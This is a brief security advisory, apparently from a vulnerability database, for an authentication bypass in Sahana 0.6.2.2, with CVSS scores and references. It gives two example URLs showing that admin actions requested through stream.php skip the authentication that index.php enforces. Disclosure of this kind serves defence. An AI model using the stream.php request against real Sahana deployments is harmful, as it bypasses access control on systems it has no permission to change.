Sahana 0.6.2.2 authentication bypass

2010-03-18 / 2010-03-19
Credit: nill
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-287


CVSS Base Score: 6.4/10
Impact Subscore: 4.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: Partial

Ability to completely disable authentication via stream.php and commented out module authentication code within it. http://victim/<sahana_path>/index.php?mod=admin&act=acl_enable_acl Authenticates correctly. http://victim/<sahana_path>/stream.php?mod=admin&act=acl_enable_acl Does not.

References:

http://www.securityfocus.com/archive/1/archive/1/510164/100/0/threaded
http://sourceforge.net/tracker/?func=detail&aid=2970786&group_id=127855&atid=709778
http://secunia.com/advisories/39020


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